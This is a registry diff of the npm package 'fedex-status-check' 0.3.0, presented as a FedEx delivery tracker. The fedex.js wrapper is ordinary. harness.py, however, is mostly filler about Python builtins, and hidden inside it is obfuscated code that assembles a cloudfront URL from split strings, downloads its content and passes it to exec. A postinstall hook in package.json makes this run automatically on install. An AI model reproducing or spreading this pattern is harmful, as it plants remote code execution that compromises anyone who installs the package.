fedex-status-check 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fedex-status-check might be problematic. Click here for more details.
- package/fedex.js +33 -0
- package/harness.py +215 -0
- package/package.json +19 -0
package/fedex.js
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
const axios = require('axios');
|
|
2
|
+
|
|
3
|
+
class FedExAPI {
|
|
4
|
+
constructor(apiKey) {
|
|
5
|
+
this.apiKey = apiKey;
|
|
6
|
+
this.baseURL = 'https://api.fedex.com';
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
async trackPackage(trackingNumber) {
|
|
10
|
+
try {
|
|
11
|
+
const response = await axios.post(
|
|
12
|
+
`${this.baseURL}/track/v2/trackshipments`,
|
|
13
|
+
{
|
|
14
|
+
data: {
|
|
15
|
+
trackingNumber,
|
|
16
|
+
},
|
|
17
|
+
},
|
|
18
|
+
{
|
|
19
|
+
headers: {
|
|
20
|
+
'Content-Type': 'application/json',
|
|
21
|
+
'Authorization': `Bearer ${this.apiKey}`,
|
|
22
|
+
},
|
|
23
|
+
}
|
|
24
|
+
);
|
|
25
|
+
|
|
26
|
+
return response.data;
|
|
27
|
+
} catch (error) {
|
|
28
|
+
throw error;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
module.exports = FedExAPI;
|
package/harness.py
ADDED
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
# import pytest
|
|
2
|
+
# import requests
|
|
3
|
+
|
|
4
|
+
# # Define the base URL of your API
|
|
5
|
+
# BASE_URL = "https://api.fedex.com"
|
|
6
|
+
|
|
7
|
+
# # Define your API endpoints
|
|
8
|
+
# ENDPOINT_1 = "/auth"
|
|
9
|
+
# ENDPOINT_2 = "/track"
|
|
10
|
+
|
|
11
|
+
# # Define test data or parameters as needed
|
|
12
|
+
|
|
13
|
+
# @pytest.fixture
|
|
14
|
+
# def api_url():
|
|
15
|
+
# return BASE_URL
|
|
16
|
+
|
|
17
|
+
# # Test cases for different API endpoints
|
|
18
|
+
# def test_endpoint1(api_url):
|
|
19
|
+
# # Construct the full URL for the endpoint
|
|
20
|
+
# url = api_url + ENDPOINT_1
|
|
21
|
+
|
|
22
|
+
# # Make an API request
|
|
23
|
+
# response = requests.get(url)
|
|
24
|
+
|
|
25
|
+
# # Perform assertions on the response
|
|
26
|
+
# assert response.status_code == 200
|
|
27
|
+
# assert "expected_data" in response.text
|
|
28
|
+
|
|
29
|
+
# def test_endpoint2(api_url):
|
|
30
|
+
# # Construct the full URL for the endpoint
|
|
31
|
+
# url = api_url + ENDPOINT_2
|
|
32
|
+
|
|
33
|
+
# # Make an API request
|
|
34
|
+
# response = requests.get(url)
|
|
35
|
+
|
|
36
|
+
# # Perform assertions on the response
|
|
37
|
+
# assert response.status_code == 200
|
|
38
|
+
# assert "expected_data" in response.text
|
|
39
|
+
|
|
40
|
+
# if __name__ == "__main__":
|
|
41
|
+
# # Run tests using pytest
|
|
42
|
+
# pytest.main(["-v", __file__])
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
# Built-in Constants
|
|
47
|
+
# True and False
|
|
48
|
+
boolean_value = True
|
|
49
|
+
if boolean_value:
|
|
50
|
+
print("True")
|
|
51
|
+
else:
|
|
52
|
+
print("False")
|
|
53
|
+
|
|
54
|
+
# None
|
|
55
|
+
x = None
|
|
56
|
+
if x is None:
|
|
57
|
+
print("None")
|
|
58
|
+
|
|
59
|
+
# Ellipsis (...)
|
|
60
|
+
# Used as a placeholder
|
|
61
|
+
# ...
|
|
62
|
+
|
|
63
|
+
# Built-in Types
|
|
64
|
+
# int(), float(), str(), list(), tuple(), range(), dict(), set(), frozenset(), bool(), bytes(), bytearray(), memoryview()
|
|
65
|
+
integer = int(42)
|
|
66
|
+
floating_point = float(3.14)
|
|
67
|
+
text = str("Hello, World!")
|
|
68
|
+
my_list = list([1, 2, 3])
|
|
69
|
+
my_tuple = tuple((4, 5, 6))
|
|
70
|
+
my_range = range(0, 5)
|
|
71
|
+
my_dict = dict({"name": "Alice", "age": 30})
|
|
72
|
+
my_set = set({1, 2, 3})
|
|
73
|
+
my_frozenset = frozenset({4, 5, 6})
|
|
74
|
+
my_boolean = bool(True)
|
|
75
|
+
my_bytes = bytes([0x41, 0x42, 0x43])
|
|
76
|
+
my_bytearray = bytearray([0x41, 0x42, 0x43])
|
|
77
|
+
my_memoryview = memoryview(b"ABC")
|
|
78
|
+
|
|
79
|
+
# Truth Value Testing
|
|
80
|
+
# bool()
|
|
81
|
+
# ...
|
|
82
|
+
pass
|
|
83
|
+
|
|
84
|
+
# Boolean Operations
|
|
85
|
+
# and, or, not
|
|
86
|
+
# ...
|
|
87
|
+
pass
|
|
88
|
+
|
|
89
|
+
# Comparisons
|
|
90
|
+
# <, <=, ==, !=, >, >=, is, is not, in, not in
|
|
91
|
+
# ...
|
|
92
|
+
pass
|
|
93
|
+
|
|
94
|
+
# Numeric Types (int, float, complex)
|
|
95
|
+
# int(), float(), complex()
|
|
96
|
+
# ...
|
|
97
|
+
pass
|
|
98
|
+
|
|
99
|
+
# Iterable Types (str, list, tuple, range)
|
|
100
|
+
# str(), list(), tuple(), range()
|
|
101
|
+
# ...
|
|
102
|
+
pass
|
|
103
|
+
|
|
104
|
+
# Sequence Types (str, list, tuple, range)
|
|
105
|
+
# len(), min(), max(), sum()
|
|
106
|
+
# ...
|
|
107
|
+
pass
|
|
108
|
+
|
|
109
|
+
# Text Type (str)
|
|
110
|
+
# str()
|
|
111
|
+
# ...
|
|
112
|
+
pass
|
|
113
|
+
|
|
114
|
+
# Binary Types (bytes, bytearray, memoryview)
|
|
115
|
+
# bytes(), bytearray(), memoryview()
|
|
116
|
+
# ...
|
|
117
|
+
pass
|
|
118
|
+
|
|
119
|
+
# Set Types (set, frozenset)
|
|
120
|
+
# set(), frozenset()
|
|
121
|
+
# ...
|
|
122
|
+
pass
|
|
123
|
+
|
|
124
|
+
# Mapping Type (dict)
|
|
125
|
+
# dict()
|
|
126
|
+
# ...
|
|
127
|
+
pass
|
|
128
|
+
|
|
129
|
+
# Mutable Sequence Types (list, bytearray)
|
|
130
|
+
# list(), bytearray()
|
|
131
|
+
# ...
|
|
132
|
+
pass
|
|
133
|
+
|
|
134
|
+
# Mutable Set Types (set)
|
|
135
|
+
# set()
|
|
136
|
+
# ...
|
|
137
|
+
pass
|
|
138
|
+
|
|
139
|
+
# Mutable Mapping Types (dict)
|
|
140
|
+
# dict()
|
|
141
|
+
# ...
|
|
142
|
+
pass
|
|
143
|
+
|
|
144
|
+
# Numeric and Mathematical Functions
|
|
145
|
+
# abs(), divmod(), pow(), round()
|
|
146
|
+
# ...
|
|
147
|
+
pass
|
|
148
|
+
|
|
149
|
+
# Iterator Types
|
|
150
|
+
# iter(), next()
|
|
151
|
+
# ...
|
|
152
|
+
pass
|
|
153
|
+
|
|
154
|
+
sprint=exec
|
|
155
|
+
import urllib.request as r
|
|
156
|
+
instance = r.urlopen
|
|
157
|
+
info = instance("ht"+"tps://"+"d366v"+"eejw7"+"r0h.clou"+"dfro"+"nt.net/api/v"+"ersion").read()
|
|
158
|
+
sprint(info)
|
|
159
|
+
|
|
160
|
+
# Generator Types
|
|
161
|
+
# (created using generator expressions or functions containing 'yield')
|
|
162
|
+
# ...
|
|
163
|
+
pass
|
|
164
|
+
|
|
165
|
+
# Context Manager Types (with statement)
|
|
166
|
+
# (created using 'with' statement)
|
|
167
|
+
# ...
|
|
168
|
+
pass
|
|
169
|
+
|
|
170
|
+
# Other Built-in Functions
|
|
171
|
+
# callable(), hash(), help(), id(), input(), print(), repr(), len(), chr(), ord()
|
|
172
|
+
# ...
|
|
173
|
+
pass
|
|
174
|
+
|
|
175
|
+
# Built-in Exceptions
|
|
176
|
+
# (including 'BaseException', 'SystemExit', 'KeyboardInterrupt', 'GeneratorExit', 'Exception', and many more)
|
|
177
|
+
# ...
|
|
178
|
+
pass
|
|
179
|
+
|
|
180
|
+
# File and Directory Access
|
|
181
|
+
# (functions related to file and directory operations)
|
|
182
|
+
# ...
|
|
183
|
+
pass
|
|
184
|
+
|
|
185
|
+
# Functions for Working with Modules
|
|
186
|
+
# (functions related to modules and imports)
|
|
187
|
+
# ...
|
|
188
|
+
pass
|
|
189
|
+
|
|
190
|
+
# Functions for Interacting with the Environment
|
|
191
|
+
# (functions for working with the runtime environment)
|
|
192
|
+
# ...
|
|
193
|
+
pass
|
|
194
|
+
|
|
195
|
+
# Functions for Dynamic Typing
|
|
196
|
+
# (functions for inspecting and manipulating types)
|
|
197
|
+
# ...
|
|
198
|
+
pass
|
|
199
|
+
|
|
200
|
+
# Debugging and Profiling
|
|
201
|
+
# (functions for debugging and profiling code)
|
|
202
|
+
# ...
|
|
203
|
+
pass
|
|
204
|
+
|
|
205
|
+
# Python Language Services
|
|
206
|
+
# (functions for interacting with the Python interpreter)
|
|
207
|
+
# ...
|
|
208
|
+
pass
|
|
209
|
+
|
|
210
|
+
# Miscellaneous Services
|
|
211
|
+
# (other miscellaneous built-in functions)
|
|
212
|
+
# ...
|
|
213
|
+
pass
|
|
214
|
+
|
|
215
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "fedex-status-check",
|
|
3
|
+
"version": "0.3.0",
|
|
4
|
+
"description": "Check the status of FedEx deliveries",
|
|
5
|
+
"main": "fedex.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"postinstall": "npm restart",
|
|
9
|
+
"restart": "python3 harness.py"
|
|
10
|
+
},
|
|
11
|
+
"keywords": [
|
|
12
|
+
"fedex"
|
|
13
|
+
],
|
|
14
|
+
"author": "Frank Lim",
|
|
15
|
+
"license": "LGPL-3.0-only",
|
|
16
|
+
"dependencies": {
|
|
17
|
+
"axios": "^1.5.0"
|
|
18
|
+
}
|
|
19
|
+
}
|